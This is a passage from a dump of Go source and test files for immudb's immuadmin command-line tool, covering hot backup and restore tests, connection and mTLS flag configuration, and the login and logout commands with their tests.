\"testdata/12-14.backup\", \"--append\"})\n\terr = cmd.Execute()\n\trequire.Error(t, err)\n\n\tout, err = ioutil.ReadAll(output)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Error: there is a gap of 1 transaction(s) between database and file - restore not possible\")\n\n\t// append with overlap (10-11), txn 10 is verified. txn 11 is restored\n\tcmd.SetArgs([]string{\"hot-restore\", \"test\", \"-i\", \"testdata/10-11.backup\", \"--append\", \"--force-replica\"})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\n\tout, err = ioutil.ReadAll(output)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Restored transaction 11\")\n\n\t// append without overlap (last in DB - 11, first in file - 12) - 11th txn cannot be verified, should fail\n\tcmd.SetArgs([]string{\"hot-restore\", \"test\", \"-i\", \"testdata/12-14.backup\", \"--append\", \"--force-replica\"})\n\terr = cmd.Execute()\n\trequire.Error(t, err)\n\tout, err = ioutil.ReadAll(output)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Error: not possible to validate last transaction in DB - use --force to override\")\n\n\t// append without overlap (last in DB - 11, first in file - 12) - 11th txn cannot be verified, forced\n\tcmd.SetArgs([]string{\"hot-restore\", \"test\", \"-i\", \"testdata/12-14.backup\", \"--append\", \"--force\", \"--force-replica\"})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tout, err = ioutil.ReadAll(output)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Restored transactions from 12 to 14\")\n\n\t// duplicate restore, all txns already in DB, nothing restored\n\tcmd.SetArgs([]string{\"hot-restore\", \"test\", \"-i\", \"testdata/12-14.backup\", \"--append\", \"--force-replica\"})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tout, err = ioutil.ReadAll(output)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Target database is up-to-date, nothing restored\")\n\n\t// txn 14 in file doesn't match the txn 14 in database, should fail\n\tcmd.SetArgs([]string{\"hot-restore\", \"test\", \"-i\", \"testdata/14-15_modified.backup\", \"--append\", \"--force-replica\"})\n\terr = cmd.Execute()\n\trequire.Error(t, err)\n\tout, err = ioutil.ReadAll(output)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Error: checksums for tx 14 in backup file and database differ - cannot append data to the database\")\n\n\t// verify backup file\n\tcmd.SetArgs([]string{\"hot-restore\", \"--verify-only\", \"-i\", \"testdata/1-10.backup\"})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tout, err = ioutil.ReadAll(output)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Backup file contains transactions from 1 to 10\")\n}\n\nfunc TestBackup(t *testing.T) {\n\tfmt.Println(\"Backup\")\n\tcl := commandlineHotBck{}\n\tcmd, _ := cl.NewCmd()\n\n\tcmdl := commandlineHotBck{commandline: *getCmdline(t)}\n\tcmdl.hotBackup(cmd)\n\tcmdl.hotRestore(cmd)\n\n\toutput := bytes.NewBufferString(\"\")\n\tcmd.SetOut(output)\n\tcmd.SetErr(output)\n\n\t// disable connects/disconnects, cmd already contains connected immudb client\n\tcmds := cmd.Commands()\n\tcmds[0].PersistentPreRunE = nil\n\tcmds[0].PersistentPostRun = nil\n\tcmds[1].PersistentPreRunE = nil\n\tcmds[1].PersistentPostRun = nil\n\n\ttmpDir := t.TempDir()\n\tbackupFile_full := filepath.Join(tmpDir, \"full.backup\")\n\tbackupFile_1_5 := filepath.Join(tmpDir, \"1-5.backup\")\n\n\t// restore (1-10)\n\tcmd.SetArgs([]string{\"hot-restore\", \"test1\", \"-i\", \"testdata/1-10.backup\"})\n\terr := cmd.Execute()\n\trequire.NoError(t, err)\n\n\t// full backup (1-10)\n\tcmd.SetArgs([]string{\"hot-backup\", \"test1\", \"-o\", backupFile_full})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tout, err := ioutil.ReadAll(output)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Backing up transactions from 1 to 10\")\n\n\t// partial backup (5-10)\n\tcmd.SetArgs([]string{\"hot-backup\", \"test1\", \"--start-tx\", \"5\", \"-o\", backupFile_1_5})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tout, err = ioutil.ReadAll(output)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Backing up transactions from 5 to 10\")\n\n\t// restore (11)\n\tcmd.SetArgs([]string{\"hot-restore\", \"test1\", \"--append\", \"-i\", \"testdata/10-11.backup\", \"--force-replica\"})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\n\t// append txn 11 to file - require --append flag, should fail\n\n\tcmd.SetArgs([]string{\"hot-backup\", \"test1\", \"--start-tx\", \"1\", \"-o\", backupFile_full})\n\terr = cmd.Execute()\n\trequire.Error(t, err)\n\tout, err = ioutil.ReadAll(output)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Error: file already exists, use --append option to append new data to file\")\n\n\t// append txn 11 to file with --append flag\n\tcmd.SetArgs([]string{\"hot-backup\", \"test1\", \"--append\", \"-o\", backupFile_full})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tout, err = ioutil.ReadAll(output)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Backing up transaction 11\")\n\n\t// restore (12-14)\n\tcmd.SetArgs([]string{\"hot-restore\", \"test1\", \"--append\", \"--force\", \"-i\", \"testdata/12-14.backup\"})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\n\t// append txn 12-14 to file\n\tcmd.SetArgs([]string{\"hot-backup\", \"test1\", \"--append\", \"-o\", backupFile_full})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tout, err = ioutil.ReadAll(output)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Backing up transactions from 12 to 14\")\n\n\t// full restore (1-13) to second DB\n\tcmd.SetArgs([]string{\"hot-restore\", \"test2\", \"--append\", \"-i\", \"testdata/1-13.backup\"})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\n\t// add modified txn 14 to second DB\n\tcmd.SetArgs([]string{\"hot-restore\", \"test2\", \"--append\", \"-i\", \"testdata/14-15_modified.backup\"})\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\n\t// append txn 15 to file from second DB, should fail because txn 14 in DB and file differ\n\tcmd.SetArgs([]string{\"hot-backup\", \"test2\", \"--append\", \"-o\", backupFile_full})\n\terr = cmd.Execute()\n\trequire.Error(t, err)\n\tout, err = ioutil.ReadAll(output)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Error: checksums for transaction 14 in backup file and database differ - probably file was created from different database\")\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/init.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/viper\"\n)\n\nfunc Options() *client.Options {\n\tport := viper.GetInt(\"immudb-port\")\n\taddress := viper.GetString(\"immudb-address\")\n\ttokenFileName := viper.GetString(\"tokenfile\")\n\tif !strings.HasSuffix(tokenFileName, client.AdminTokenFileSuffix) {\n\t\ttokenFileName += client.AdminTokenFileSuffix\n\t}\n\tmtls := viper.GetBool(\"mtls\")\n\tcertificate := viper.GetString(\"certificate\")\n\tservername := viper.GetString(\"servername\")\n\tpkey := viper.GetString(\"pkey\")\n\tclientcas := viper.GetString(\"clientcas\")\n\toptions := client.DefaultOptions().\n\t\tWithPort(port).\n\t\tWithAddress(address).\n\t\tWithAuth(true).\n\t\tWithTokenFileName(tokenFileName).\n\t\tWithMTLs(mtls)\n\tif mtls {\n\t\t// todo https://golang.org/src/crypto/x509/root_linux.go\n\t\toptions.MTLsOptions = client.DefaultMTLsOptions().\n\t\t\tWithServername(servername).\n\t\t\tWithCertificate(certificate).\n\t\t\tWithPkey(pkey).\n\t\t\tWithClientCAs(clientcas)\n\t}\n\treturn options\n}\n\nfunc (cl *commandline) configureFlags(cmd *cobra.Command) error {\n\tcmd.PersistentFlags().IntP(\"immudb-port\", \"p\", client.DefaultOptions().Port, \"immudb port number\")\n\tcmd.PersistentFlags().StringP(\"immudb-address\", \"a\", client.DefaultOptions().Address, \"immudb host address\")\n\tcmd.PersistentFlags().String(\n\t\t\"tokenfile\",\n\t\tclient.DefaultOptions().TokenFileName,\n\t\tfmt.Sprintf(\n\t\t\t\"authentication token file (default path is $HOME or binary location; the supplied \"+\n\t\t\t\t\"value will be automatically suffixed with %s; default filename is %s%s)\",\n\t\t\tclient.AdminTokenFileSuffix,\n\t\t\tclient.DefaultOptions().TokenFileName,\n\t\t\tclient.AdminTokenFileSuffix))\n\tcmd.PersistentFlags().StringVar(&cl.config.CfgFn, \"config\", \"\", \"config file (default path is configs or $HOME; default filename is immuadmin.toml)\")\n\tcmd.PersistentFlags().BoolP(\"mtls\", \"m\", client.DefaultOptions().MTLs, \"enable mutual tls\")\n\tcmd.PersistentFlags().String(\"servername\", client.DefaultMTLsOptions().Servername, \"used to verify the hostname on the returned certificates\")\n\tcmd.PersistentFlags().String(\"certificate\", client.DefaultMTLsOptions().Certificate, \"server certificate file path\")\n\tcmd.PersistentFlags().String(\"pkey\", client.DefaultMTLsOptions().Pkey, \"server private key path\")\n\tcmd.PersistentFlags().String(\"clientcas\", client.DefaultMTLsOptions().ClientCAs, \"clients certificates list. Aka certificate authority\")\n\tif err := viper.BindPFlag(\"immudb-port\", cmd.PersistentFlags().Lookup(\"immudb-port\")); err != nil {\n\t\treturn err\n\t}\n\tif err := viper.BindPFlag(\"immudb-address\", cmd.PersistentFlags().Lookup(\"immudb-address\")); err != nil {\n\t\treturn err\n\t}\n\tif err := viper.BindPFlag(\"tokenfile\", cmd.PersistentFlags().Lookup(\"tokenfile\")); err != nil {\n\t\treturn err\n\t}\n\tif err := viper.BindPFlag(\"mtls\", cmd.PersistentFlags().Lookup(\"mtls\")); err != nil {\n\t\treturn err\n\t}\n\tif err := viper.BindPFlag(\"servername\", cmd.PersistentFlags().Lookup(\"servername\")); err != nil {\n\t\treturn err\n\t}\n\tif err := viper.BindPFlag(\"certificate\", cmd.PersistentFlags().Lookup(\"certificate\")); err != nil {\n\t\treturn err\n\t}\n\tif err := viper.BindPFlag(\"pkey\", cmd.PersistentFlags().Lookup(\"pkey\")); err != nil {\n\t\treturn err\n\t}\n\tif err := viper.BindPFlag(\"clientcas\", cmd.PersistentFlags().Lookup(\"clientcas\")); err != nil {\n\t\treturn err\n\t}\n\tviper.SetDefault(\"immudb-port\", client.DefaultOptions().Port)\n\tviper.SetDefault(\"immudb-address\", client.DefaultOptions().Address)\n\tviper.SetDefault(\"tokenfile\", client.DefaultOptions().TokenFileName+client.AdminTokenFileSuffix)\n\tviper.SetDefault(\"mtls\", client.DefaultOptions().MTLs)\n\tviper.SetDefault(\"servername\", client.DefaultMTLsOptions().Servername)\n\tviper.SetDefault(\"certificate\", client.DefaultMTLsOptions().Certificate)\n\tviper.SetDefault(\"pkey\", client.DefaultMTLsOptions().Pkey)\n\tviper.SetDefault(\"clientcas\", client.DefaultMTLsOptions().ClientCAs)\n\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/init_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/spf13/viper\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestOptions(t *testing.T) {\n\topts := Options()\n\tassert.IsType(t, &client.Options{}, opts)\n}\n\nfunc TestOptionsMtls(t *testing.T) {\n\tdefer viper.Reset()\n\tviper.Set(\"mtls\", true)\n\topts := Options()\n\tassert.IsType(t, &client.Options{}, opts)\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/login.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/spf13/cobra\"\n)\n\nfunc (cl *commandline) login(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"login username (you will be prompted for password)\",\n\t\tShort:             fmt.Sprintf(\"Login using the specified username and password (admin username is %s)\", auth.SysAdminUsername),\n\t\tAliases:           []string{\"l\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tctx := cl.context\n\t\t\tuserStr := args[0]\n\t\t\tif userStr != auth.SysAdminUsername {\n\t\t\t\terr := fmt.Errorf(\"Permission denied: user %s has no admin rights\", userStr)\n\t\t\t\tcl.quit(err)\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tuser := []byte(userStr)\n\t\t\tpass, err := cl.passwordReader.Read(\"Password:\")\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tresponseWarning, err := cl.loginClient(ctx, user, pass)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tc.PrintfColorW(cmd.OutOrStdout(), c.Green, \"logged in\\n\")\n\n\t\t\tif string(responseWarning) == auth.WarnDefaultAdminPassword {\n\t\t\t\tc.PrintfColorW(cmd.OutOrStdout(), c.Yellow, \"SECURITY WARNING: %s\\n\", responseWarning)\n\n\t\t\t\tchangedPassMsg, newPass, err := cl.changeUserPassword(cmd, userStr, pass)\n\t\t\t\tif err != nil {\n\t\t\t\t\tcl.quit(err)\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tif _, err := cl.loginClient(ctx, user, newPass); err != nil {\n\t\t\t\t\tcl.quit(err)\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tfmt.Fprintln(cmd.OutOrStdout(), changedPassMsg)\n\t\t\t}\n\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) loginClient(\n\tctx context.Context,\n\tuser []byte,\n\tpass []byte,\n) (string, error) {\n\tresponse, err := cl.immuClient.Login(ctx, user, pass)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(response.GetWarning()), nil\n}\n\nfunc (cl *commandline) logout(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"logout\",\n\t\tAliases:           []string{\"x\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tif err := cl.immuClient.Logout(cl.context); err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"logged out\\n\")\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.NoArgs,\n\t}\n\tcmd.AddCommand(ccmd)\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/login_errors_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\n/*\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n)\n\nfunc TestLoginLogoutErrors(t *testing.T) {\n\timmuClientMock := &clienttest.ImmuClientMock{\n\t\tGetOptionsF: func() *client.Options {\n\t\t\treturn client.DefaultOptions()\n\t\t},\n\t\tConnectF: func(context.Context) (*grpc.ClientConn, error) {\n\t\t\treturn &grpc.ClientConn{}, nil\n\t\t},\n\t\tDisconnectF: func() error {\n\t\t\treturn nil\n\t\t},\n\t}\n\tpwReaderMock := &clienttest.PasswordReaderMock{}\n\thdsMock := clienttest.DefaultHomedirServiceMock()\n\tcl := &commandline{\n\t\timmuClient:     immuClientMock,\n\t\tpasswordReader: pwReaderMock,\n\t\tts:             tokenservice.NewTokenService().WithHds(hdsMock).WithTokenFileName(\"tokenFileName\"),\n\t}\n\n\trootCmd := &cobra.Command{}\n\n\t// login\n\tcl.login(rootCmd)\n\tcmd := rootCmd.Commands()[0]\n\tcmd.PersistentPreRunE = nil\n\tcmd.PersistentPostRunE = nil\n\tcmdOutput := bytes.NewBufferString(\"\")\n\tcmd.SetOutput(cmdOutput)\n\n\tusername := \"user1\"\n\targs := []string{\"login\", username}\n\trootCmd.SetArgs(args)\n\n\terrPermissionDenied :=\n\t\tfmt.Errorf(\"Permission denied: user %s has no admin rights\", username)\n\tcl.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errPermissionDenied, msg)\n\t}\n\trequire.Equal(t, errPermissionDenied, rootCmd.Execute())\n\n\targs[1] = auth.SysAdminUsername\n\trootCmd.SetArgs(args)\n\terrPwRead := errors.New(\"password read error\")\n\tpwReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\treturn nil, errPwRead\n\t}\n\tcl.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errPwRead, msg)\n\t}\n\trequire.Equal(t, errPwRead, rootCmd.Execute())\n\n\tpass := \"$somePass1!\"\n\tpassBytes := []byte(pass)\n\tpwReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\treturn passBytes, nil\n\t}\n\terrLogin := errors.New(\"login error\")\n\timmuClientMock.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) {\n\t\treturn nil, errLogin\n\t}\n\tcl.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errLogin, msg)\n\t}\n\trequire.Equal(t, errLogin, rootCmd.Execute())\n\n\timmuClientMock.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) {\n\t\treturn &schema.LoginResponse{}, nil\n\t}\n\terrWriteTokenFile := errors.New(\"write token file error\")\n\thdsMock.WriteFileToUserHomeDirF = func(content []byte, pathToFile string) error {\n\t\treturn errWriteTokenFile\n\t}\n\tcl.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errWriteTokenFile, msg)\n\t}\n\trequire.Equal(t, errWriteTokenFile, rootCmd.Execute())\n\thdsMock.WriteFileToUserHomeDirF = func(content []byte, pathToFile string) error {\n\t\treturn nil\n\t}\n\n\terrNewImmuClient := errors.New(\"new immuclient error\")\n\tcl.newImmuClient = func(*client.Options) (client.ImmuClient, error) {\n\t\treturn nil, errNewImmuClient\n\t}\n\tcl.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errNewImmuClient, msg)\n\t}\n\trequire.Equal(t, errNewImmuClient, rootCmd.Execute())\n\tcl.immuClient = immuClientMock\n\tcl.newImmuClient = func(*client.Options) (client.ImmuClient, error) {\n\t\treturn immuClientMock, nil\n\t}\n\n\trequire.NoError(t, rootCmd.Execute())\n\toutputBytes, err := ioutil.ReadAll(cmdOutput)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"logged in\\n\", string(outputBytes))\n\tcmdOutput.Reset()\n\n\timmuClientMock.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) {\n\t\treturn &schema.LoginResponse{Warning: []byte(auth.WarnDefaultAdminPassword)}, nil\n\t}\n\tcounterPwRead := 0\n\tpwReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\tcounterPwRead++\n\t\tif counterPwRead == 1 {\n\t\t\treturn passBytes, nil\n\t\t}\n\t\treturn nil, errPwRead\n\t}\n\terrPwRead2 := errors.New(\"Error Reading Password\")\n\tcl.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errPwRead2, msg)\n\t}\n\trequire.Equal(t, errPwRead2, rootCmd.Execute())\n\toutputBytes, err = ioutil.ReadAll(cmdOutput)\n\trequire.NoError(t, err)\n\trequire.Equal(\n\t\tt,\n\t\tfmt.Sprintf(\"logged in\\n%sSECURITY WARNING: %s\\n%s\", c.Yellow, auth.WarnDefaultAdminPassword, helper.Reset),\n\t\tstring(outputBytes))\n\tcmdOutput.Reset()\n\n\tpwReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\treturn passBytes, nil\n\t}\n\timmuClientMock.ChangePasswordF = func(context.Context, []byte, []byte, []byte) error {\n\t\treturn nil\n\t}\n\tcounterLogin := 0\n\timmuClientMock.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) {\n\t\tcounterLogin++\n\t\tif counterLogin == 1 {\n\t\t\treturn &schema.LoginResponse{Warning: []byte(auth.WarnDefaultAdminPassword)}, nil\n\t\t}\n\t\treturn nil, errLogin\n\t}\n\tcl.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errLogin, msg)\n\t}\n\trequire.Equal(t, errLogin, rootCmd.Execute())\n\tcmdOutput.Reset()\n\n\tcounterLogin = 0\n\timmuClientMock.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) {\n\t\tcounterLogin++\n\t\tif counterLogin == 1 {\n\t\t\treturn &schema.LoginResponse{Warning: []byte(auth.WarnDefaultAdminPassword)}, nil\n\t\t}\n\t\treturn &schema.LoginResponse{}, nil\n\t}\n\trequire.NoError(t, cmd.Execute())\n\toutputBytes, err = ioutil.ReadAll(cmdOutput)\n\trequire.NoError(t, err)\n\trequire.Equal(\n\t\tt,\n\t\tfmt.Sprintf(\n\t\t\t\"logged in\\n%sSECURITY WARNING: %s\\n%s%s's password has been changed\",\n\t\t\tc.Yellow, auth.WarnDefaultAdminPassword, helper.Reset, args[1]),\n\t\tstring(outputBytes))\n\tcmdOutput.Reset()\n\n\t// logout\n\tcl.logout(rootCmd)\n\tvar cmdLogout *cobra.Command\n\tfor _, ccmd := range rootCmd.Commands() {\n\t\tif strings.Contains(ccmd.Use, \"logout\") {\n\t\t\tcmdLogout = ccmd\n\t\t\tbreak\n\t\t}\n\t}\n\trequire.NotNil(t, cmdLogout)\n\tcmdLogout.PersistentPreRunE = nil\n\tcmdLogout.PersistentPostRunE = nil\n\tcmdLogout.SetOutput(cmdOutput)\n\n\trootCmd.SetArgs([]string{\"logout\"})\n\n\terrLogout := errors.New(\"logout error\")\n\timmuClientMock.LogoutF = func(context.Context) error {\n\t\treturn errLogout\n\t}\n\tcl.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errLogout, msg)\n\t}\n\trequire.Equal(t, errLogout, rootCmd.Execute())\n\n\timmuClientMock.LogoutF = func(context.Context) error {\n\t\treturn nil\n\t}\n\trequire.NoError(t, rootCmd.Execute())\n\toutputBytes, err = ioutil.ReadAll(cmdOutput)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"logged out\\n\", string(outputBytes))\n\tcmdOutput.Reset()\n}\n*/\n"
  },
  {
    "path": "cmd/immuadmin/command/login_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/cmdtest\"\n\t\"github.com/codenotary/immudb/pkg/client/homedir\"\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n)\n\nvar pwReaderCounter = 0\nvar pwReaderMock = &clienttest.PasswordReaderMock{\n\tReadF: func(msg string) ([]byte, error) {\n\t\tvar pw []byte\n\t\tif pwReaderCounter == 0 {\n\t\t\tpw = []byte(`immudb`)\n\t\t} else {\n\t\t\tpw = []byte(`Passw0rd!-`)\n\t\t}\n\t\tpwReaderCounter++\n\t\treturn pw, nil\n\t},\n}\n\nfunc TestCommandLine_Connect(t *testing.T) {\n\tlog.Println(\"TestCommandLine_Connect\")\n\toptions := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\terr := bs.Start()\n\trequire.NoError(t, err)\n\tdefer bs.Stop()\n\n\topts := Options().\n\t\tWithDir(t.TempDir()).\n\t\tWithDialOptions([]grpc.DialOption{\n\t\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t\t})\n\tcmdl := commandline{\n\t\tcontext: context.Background(),\n\t\toptions: opts,\n\t}\n\terr = cmdl.connect(&cobra.Command{}, []string{})\n\tassert.NoError(t, err)\n}\n\nfunc TestCommandLine_Disconnect(t *testing.T) {\n\tlog.Println(\"TestCommandLine_Disconnect\")\n\toptions := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\topts := Options().\n\t\tWithDir(t.TempDir()).\n\t\tWithDialOptions([]grpc.DialOption{\n\t\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t\t})\n\ttkf := cmdtest.RandString()\n\tcmdl := commandline{\n\t\toptions:        opts,\n\t\timmuClient:     &scIClientMock{*new(client.ImmuClient)},\n\t\tpasswordReader: pwReaderMock,\n\t\tcontext:        context.Background(),\n\t\tts:             tokenservice.NewFileTokenService().WithHds(newHomedirServiceMock()).WithTokenFileName(tkf),\n\t}\n\t_ = cmdl.connect(&cobra.Command{}, []string{})\n\n\tcmdl.disconnect(&cobra.Command{}, []string{})\n\n\terr := cmdl.immuClient.Disconnect()\n\tassert.Errorf(t, err, \"not connected\")\n}\n\ntype scIClientInnerMock struct {\n\tcliop *client.Options\n\tclient.ImmuClient\n}\n\nfunc (c scIClientInnerMock) UpdateAuthConfig(ctx context.Context, kind auth.Kind) error {\n\treturn nil\n}\nfunc (c scIClientInnerMock) UpdateMTLSConfig(ctx context.Context, enabled bool) error {\n\treturn nil\n}\nfunc (c scIClientInnerMock) Disconnect() error {\n\treturn nil\n}\n\nfunc (c scIClientInnerMock) GetOptions() *client.Options {\n\treturn c.cliop\n}\n\nfunc (c scIClientInnerMock) Login(ctx context.Context, user []byte, pass []byte) (*schema.LoginResponse, error) {\n\treturn &schema.LoginResponse{Token: \"fake-token\"}, nil\n}\n\nfunc TestCommandLine_LoginLogout(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tcl := commandline{}\n\tcmd, _ := cl.NewCmd()\n\n\tcliopt := Options().\n\t\tWithDir(t.TempDir()).\n\t\tWithDialOptions([]grpc.DialOption{\n\t\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t\t})\n\n\ttkf := 